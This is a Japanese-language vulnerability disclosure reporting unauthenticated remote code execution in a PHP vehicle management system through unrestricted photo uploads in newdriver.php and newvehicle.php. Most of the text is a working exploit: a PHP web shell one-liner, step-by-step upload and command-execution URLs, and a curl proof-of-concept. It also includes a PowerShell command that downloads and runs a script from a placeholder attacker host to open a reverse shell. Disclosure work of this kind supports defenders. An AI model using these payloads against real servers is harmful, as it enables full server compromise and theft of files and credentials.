PHP 製車両管理システム - newdriver.php におけるファイルアップロードを介した未認証のリモートコード実行

脆弱性情報

説明

code-projects.org の Vehicle Management System In PHP V1.0 は、newdriver.php (および同様に newvehicle.php) における無制限ファイルアップロードを介した、未認証のリモートコード実行に対して脆弱です。

アプリケーションは、newdriver.php に写真アップロードフィールドを含む「新規ドライバー」登録フォームを公開しています。しかし、エンドポイントはセッション検証を一切行いません。そのため、未認証の攻撃者はログインにリダイレクトされることなく直接アクセスできます。さらに、写真アップロードフィールドは、拡張子フィルタリング、MIMEタイプ検証、コンテンツ検査なしに、PHPファイルを含むあらゆるファイルタイプを受け入れます。

攻撃者は以下のことが可能です：

1. セッションや認証情報なしで直接 newdriver.php にアクセスする
2. PHPウェブシェルを「写真」としてドライバーフォームを送信する
3. シェルは /picture/ ディレクトリに保存される
4. アップロードされたシェルに移動し、サーバー上で任意のOSコマンドを実行する

これにより、ウェブサーバープロセスの権限で完全なリモートコード実行が可能になります。

脆弱性チェーン

未認証のHTTPリクエスト
        ↓
newdriver.php (セッションチェックなし)
        ↓
photo フィールドが .php ファイルを受け入れる (ファイルタイプ検証なし)
        ↓
シェルが /picture/web_shell.php に保存される
        ↓
GET /picture/web_shell.php?cmd=whoami
        ↓
RCE — 任意のOSコマンド実行

再現手順

手順1 — newdriver.php への未認証アクセスを確認する

セッションがない新しいブラウザ（シークレット/プライベートウィンドウ）を開きます。次のエンドポイントに直接移動します：

http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php

New Driver フォームが認証チェックなしでログインにリダイレクトされずに正常に読み込まれます。

手順2 — PHPウェブシェルを準備する

シンプルなPHPコマンド実行ウェブシェルを作成します：

<?php system($_GET['cmd']); ?>

shell.php (または任意の .php ファイル名) として保存します。

手順3 — ウェブシェルを写真としてフォームを送信する

ドライバーフォームのフィールドに任意の値を入力し、写真アップロードとしてPHPウェブシェルを選択します：

ドライバー名:        test
電話番号:             1234567890
ドライバー入社日: 2026-05-19
国籍ID:        test
運転免許番号:         test
免許有効期限:   2026-05-30
住所:     test
写真:              shell.php   ← PHPウェブシェルをここにアップロード

Submit Query をクリックします。

手順4 — シェルアップロードの確認

アプリケーションは "Registration Completed!" と応答し、PHPシェルが検証なしで受け入れられ保存されたことを確認します。

手順5 — アップロードされたシェルを介して任意のコマンドを実行する

/picture/ ディレクトリ内のアップロードされたシェルに移動し、cmd パラメータを介してOSコマンドを渡します：

http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami

サーバーがコマンドを実行し、出力を返します：

desktop-g1i9np3\dell

手順6 — その他のコマンド実行例

# Read sensitive files
http://TARGET/.../picture/shell.php?cmd=type+C:\xampp\htdocs\VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\newdriver.php

# List web root
http://TARGET/.../picture/shell.php?cmd=dir+C:\xampp\htdocs\

# Full reverse shell via PowerShell
http://TARGET/.../picture/shell.php?cmd=powershell+-c+"IEX(New-Object+Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"

2つ目の影響を受けるエンドポイント — newvehicle.php

同一の脆弱性が newvehicle.php にも存在します。未認証の攻撃者は「新規車両追加」フォームにアクセスし、車両写真フィールドを介してPHPウェブシェルをアップロードし、同じ方法でRCEを達成できます。

http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newvehicle.php

両エンドポイントは同じ根本原因を共有しています：セッション検証の欠如とファイルアップロード制限の欠如です。

curl PoC (ワンライナー)

curl -s -X POST \
  "http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php" \
  -F "dname=test" \
  -F "mobile=1234567890" \
  -F "djoiningdate=2026-05-19" \
  -F "nid=test" \
  -F "licenseno=test" \
  -F "licenseenddate=2026-05-30" \
  -F "daddress=test" \
  -F "[email protected];type=image/jpeg" \
  && echo "[+] Shell uploaded" \
  && curl -s "http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami"

影響

• 未認証のリモートコード実行 — ネットワーク上の匿名の攻撃者が完全なOSコマンド実行を達成
• サーバーの完全侵害 — 全ファイル、認証情報、データベース設定への読み取り/書き込みアクセス
• 操作不要 — 単一のHTTPリクエストで完全に自動化されたエクスプロイト
• 2つの影響を受けるエンドポイント — newdriver.php と newvehicle.php の両方が脆弱

影響を受けるファイル

ベンダー情報

• ベンダーホームページ: https://code-projects.org/vehicle-management-system-in-php-with-source-code/
• ダウンロード: https://code-projects.org/vehicle-management-system-in-php-with-source-code/

発見者

Syed Imad Uddin Alvi (imad alvi)
独立系セキュリティ研究者